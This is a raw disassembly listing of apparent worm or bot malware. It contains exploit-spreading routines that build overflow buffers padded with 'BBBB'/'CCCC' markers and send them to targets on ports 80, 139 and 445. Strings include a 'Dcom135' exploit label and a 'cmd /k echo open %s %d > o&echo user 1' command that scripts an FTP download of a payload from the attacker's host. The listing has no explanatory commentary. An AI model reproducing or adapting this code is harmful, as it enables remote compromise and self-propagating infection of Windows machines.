		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40404C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: sub_404108+F0p
					; sub_404108+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415CF0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40404C
		pop	esi
		retn	4
sub_404080	endp


; =============== S U B	R O U T	I N E =======================================



sub_40409D	proc near		; CODE XREF: sub_4040E9+Bp
					; sub_404108+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40404C
		retn	8
sub_40409D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040AD	proc near		; CODE XREF: sub_4040E9+16p
					; sub_404108+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F46
		test	al, al
		jz	short loc_4040E6
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_4263DB+1)
		call	sub_403ED8
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_4040E6:				; CODE XREF: sub_4040AD+Fj
		pop	esi
		leave
		retn
sub_4040AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040E9	proc near		; CODE XREF: sub_404108+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40409D
		test	al, al
		jz	short loc_404104
		mov	ecx, esi
		call	sub_4040AD

loc_404104:				; CODE XREF: sub_4040E9+12j
		pop	esi
		retn	8
sub_4040E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404108	proc near		; CODE XREF: seg000:0040498Dp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E94
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40445C
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40445C
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E94
		lea	ecx, [ebp+var_20]
		call	sub_403E94
		lea	ecx, [ebp+var_50]
		call	sub_403E94
		lea	ecx, [ebp+var_18]
		call	sub_403E94
		lea	ecx, [ebp+var_40]
		call	sub_403E94
		lea	ecx, [ebp+var_38]
		call	sub_403E94
		lea	ecx, [ebp+var_28]
		call	sub_403E94
		push	4
		push	offset dword_42607C
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		push	3
		push	offset dword_426084
		lea	ecx, [ebp+var_30]
		call	sub_40404C
		lea	ecx, [ebp+var_30]
		call	sub_403FD2
		lea	ecx, [ebp+var_30]
		call	sub_4040AD
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40404C
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40404C
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_20]
		call	sub_403FD2
		push	offset loc_426404
		lea	ecx, [ebp+var_50]
		call	sub_404080
		lea	ecx, [ebp+var_50]
		call	sub_403FD2
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E9E
		lea	ecx, [ebp+var_58]
		call	sub_403FD2
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040E9
		lea	ecx, [ebp+var_58]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_404080
		push	4
		push	offset dword_426088
		lea	ecx, [ebp+var_18]
		call	sub_40404C
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40404C
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_18]
		call	sub_403FD2
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40409D
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40409D
		lea	ecx, [ebp+var_40]
		call	sub_4040AD
		lea	ecx, [ebp+var_18]
		call	sub_403F2D
		lea	ecx, [ebp+var_50]
		call	sub_403F2D
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40409D
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40409D
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40409D
		lea	ecx, [ebp+var_38]
		call	sub_4040AD
		lea	ecx, [ebp+var_20]
		call	sub_403F2D
		lea	ecx, [ebp+var_30]
		call	sub_403F2D
		lea	ecx, [ebp+var_40]
		call	sub_403F2D
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40404C
		lea	ecx, [ebp+var_28]
		call	sub_403FD2
		push	2
		push	offset dword_4263F8
		lea	ecx, [ebp+var_28]
		call	sub_40404C
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40409D
		lea	ecx, [ebp+var_28]
		call	sub_4040AD
		lea	ecx, [ebp+var_38]
		call	sub_403F2D
		lea	ecx, [ebp+var_10]
		call	sub_403E94
		lea	ecx, [ebp+var_8]
		call	sub_403E94
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_28]
		call	sub_403F2D
		push	offset dword_4263F4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263F0
		lea	ecx, [ebp+var_10]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		push	offset dword_4263E4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263E0
		lea	ecx, [ebp+var_48]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40446A
; ---------------------------------------------------------------------------

loc_40445C:				; CODE XREF: sub_404108+1Bj
					; sub_404108+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40446A:				; CODE XREF: sub_404108+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_404108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_404532+A1p
					; sub_404532+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4211D0	; select
		cmp	eax, edi
		jnz	short loc_4044D5
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420106	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4044D9

loc_4044D5:				; CODE XREF: sub_40446E+54j
		xor	eax, eax
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------

loc_4044D9:				; CODE XREF: sub_40446E+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43A3B0	; recv

loc_4044E9:				; CODE XREF: sub_40446E+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404532+81p
					; sub_404532+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43A394	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		cmp	eax, 4
		jz	short loc_404517
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_404517:				; CODE XREF: sub_4044ED+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43A3E8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404532	proc near		; CODE XREF: sub_40460C+48p
					; seg000:00404A88p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40455B
		xor	al, al
		jmp	loc_404607
; ---------------------------------------------------------------------------

loc_40455B:				; CODE XREF: sub_404532+20j
		push	ebx
		push	0
		push	esi
		call	sub_415570
		push	2Fh
		push	offset dword_426118
		push	esi
		call	sub_4155D0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_426148
		push	eax
		mov	[esi+2Fh], di
		call	sub_4155D0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4155D0
		push	6
		add	ebx, edi
		push	offset dword_438FCC
		push	ebx
		call	sub_4155D0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_426090
		push	ebx
		call	sub_4044ED
		add	esp, 48h
		test	al, al
		jnz	short loc_4045C3

loc_4045BF:				; CODE XREF: sub_404532+B5j
		xor	bl, bl
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------

loc_4045C3:				; CODE XREF: sub_404532+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_4044ED
		add	esp, 1Ch
		test	al, al
		jz	short loc_4045BF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		add	esp, 10h
		mov	bl, 1

loc_4045FE:				; CODE XREF: sub_404532+8Fj
		push	esi
		call	sub_415E3D
		pop	ecx
		mov	al, bl

loc_404607:				; CODE XREF: sub_404532+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460C	proc near		; CODE XREF: seg000:00404A6Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_426154
		push	[ebp+arg_0]
		call	dword_4211EC	; send
		cmp	eax, 48h
		jnz	short loc_404647
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40446E
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404647
		cmp	[ebp+var_20], 82h
		jz	short loc_40464B

loc_404647:				; CODE XREF: sub_40460C+1Bj
					; sub_40460C+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40464B:				; CODE XREF: sub_40460C+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404532
		add	esp, 0Ch
		leave
		retn
sub_40460C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465E	proc near		; CODE XREF: sub_4046AA+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_421240
		call	sub_415F8C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_421238
		fstp	[esp+10h+var_10]
		call	sub_415E6C
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F8C
		inc	eax
		leave
		retn
sub_40465E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AA	proc near		; CODE XREF: sub_40484C+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420263
		call	sub_416458
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404D21
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40465E
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046EC
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C9C

loc_4046EC:				; CODE XREF: sub_4046AA+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404809
		mov	ebx, [ebp+10h]

loc_4046FB:				; CODE XREF: sub_4046AA+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404705
		push	3
		jmp	short loc_404717
; ---------------------------------------------------------------------------

loc_404705:				; CODE XREF: sub_4046AA+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40470F
		push	2
		jmp	short loc_404717
; ---------------------------------------------------------------------------

loc_40470F:				; CODE XREF: sub_4046AA+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404718
		push	1

loc_404717:				; CODE XREF: sub_4046AA+59j
					; sub_4046AA+63j
		pop	ebx

loc_404718:				; CODE XREF: sub_4046AA+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415FB3
		pop	ecx
		pop	ecx
		call	sub_415F8C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_404757
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_404757:				; CODE XREF: sub_4046AA+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4047C5
		add	[ebp-18h], eax

loc_4047A9:				; CODE XREF: sub_4046AA+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_4261A0[eax]
		push	eax
		push	1
		call	sub_404B1E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4047A9

loc_4047C5:				; CODE XREF: sub_4046AA+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047E3
		push	dword ptr [ebp+14h]
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B77
		mov	[ebp-18h], edi

loc_4047E3:				; CODE XREF: sub_4046AA+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047FD
		sub	esi, [ebp-1Ch]

loc_4047EE:				; CODE XREF: sub_4046AA+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404B1E
		dec	esi
		jnz	short loc_4047EE

loc_4047FD:				; CODE XREF: sub_4046AA+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4046FB
		push	1
		pop	ebx

loc_404809:				; CODE XREF: sub_4046AA+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		push	dword_421248
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404BCE
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4046AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40484C	proc near		; CODE XREF: seg000:00404A51p
		mov	eax, offset loc_420280
		call	sub_416458
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438FBC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4046AA
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415DC9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404896
		xor	bl, bl
		jmp	short loc_4048DA
; ---------------------------------------------------------------------------

loc_404896:				; CODE XREF: sub_40484C+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_4048A4
		mov	ecx, eax

loc_4048A4:				; CODE XREF: sub_40484C+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4048AC
		mov	eax, [ebp+18h]

loc_4048AC:				; CODE XREF: sub_40484C+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_415A6A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43A3E8	; send
		cmp	eax, esi
		jz	short loc_4048D1
		xor	bl, bl
		jmp	short loc_4048D3
; ---------------------------------------------------------------------------

loc_4048D1:				; CODE XREF: sub_40484C+7Fj
		mov	bl, 1

loc_4048D3:				; CODE XREF: sub_40484C+83j
		push	edi
		call	sub_415E3D
		pop	ecx

loc_4048DA:				; CODE XREF: sub_40484C+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40484C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_42634C
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		mov	eax, offset byte_42C1FC
		push	eax
		push	eax
		push	dword_438FDC
		push	dword ptr [ebp+8]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_415A6A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4261E4
		push	eax
		call	sub_404108
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4049AD
		xor	eax, eax
		jmp	loc_404B11
; ---------------------------------------------------------------------------

loc_4049AD:				; CODE XREF: seg000:004049A4j
		mov	[ebp-0Ch], esi

loc_4049B0:				; CODE XREF: seg000:00404AB0j
		test	esi, esi
		jnz	loc_404AB6
		push	6
		push	1
		push	2
		call	dword_4211E0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A9E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43A398	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A93
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A5B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D5D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40484C
		add	esp, 1Ch
		jmp	short loc_404A90
; ---------------------------------------------------------------------------

loc_404A5B:				; CODE XREF: seg000:00404A19j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A75
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40460C
		jmp	short loc_404A8D
; ---------------------------------------------------------------------------

loc_404A75:				; CODE XREF: seg000:00404A65j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A93
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_404532

loc_404A8D:				; CODE XREF: seg000:00404A73j
		add	esp, 0Ch

loc_404A90:				; CODE XREF: seg000:00404A59j
		movzx	esi, al

loc_404A93:				; CODE XREF: seg000:00404A0Cj
					; seg000:00404A7Fj
		push	ebx
		call	dword_43A430	; closesocket
		test	esi, esi
		jnz	short loc_404AA9

loc_404A9E:				; CODE XREF: seg000:004049C9j
		push	3E8h
		call	dword_421060	; Sleep

loc_404AA9:				; CODE XREF: seg000:00404A9Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4049B0

loc_404AB6:				; CODE XREF: seg000:004049B2j
		lea	ecx, [ebp-8]
		call	sub_403F2D
		test	esi, esi
		jz	short loc_404B0F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_426410
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_404B0F:				; CODE XREF: seg000:00404AC0j
		mov	eax, esi

loc_404B11:				; CODE XREF: seg000:004049A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420244

loc_404B16:				; CODE XREF: sub_420244+3j
					; seg000:0042025Dj ...
		push	1
		call	sub_404D21
		retn
; END OF FUNCTION CHUNK	FOR sub_420244

; =============== S U B	R O U T	I N E =======================================



sub_404B1E	proc near		; CODE XREF: sub_4046AA+110p
					; sub_4046AA+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B38
		call	sub_41FDB0

loc_404B38:				; CODE XREF: sub_404B1E+13j
		test	ebx, ebx
		jbe	short loc_404B6F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404B6F
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415570
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_404B6F:				; CODE XREF: sub_404B1E+1Cj
					; sub_404B1E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B77	proc near		; CODE XREF: sub_4046AA+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B91
		call	sub_41FDB0

loc_404B91:				; CODE XREF: sub_404B77+13j
		test	ebx, ebx
		jbe	short loc_404BC6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404BC6
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
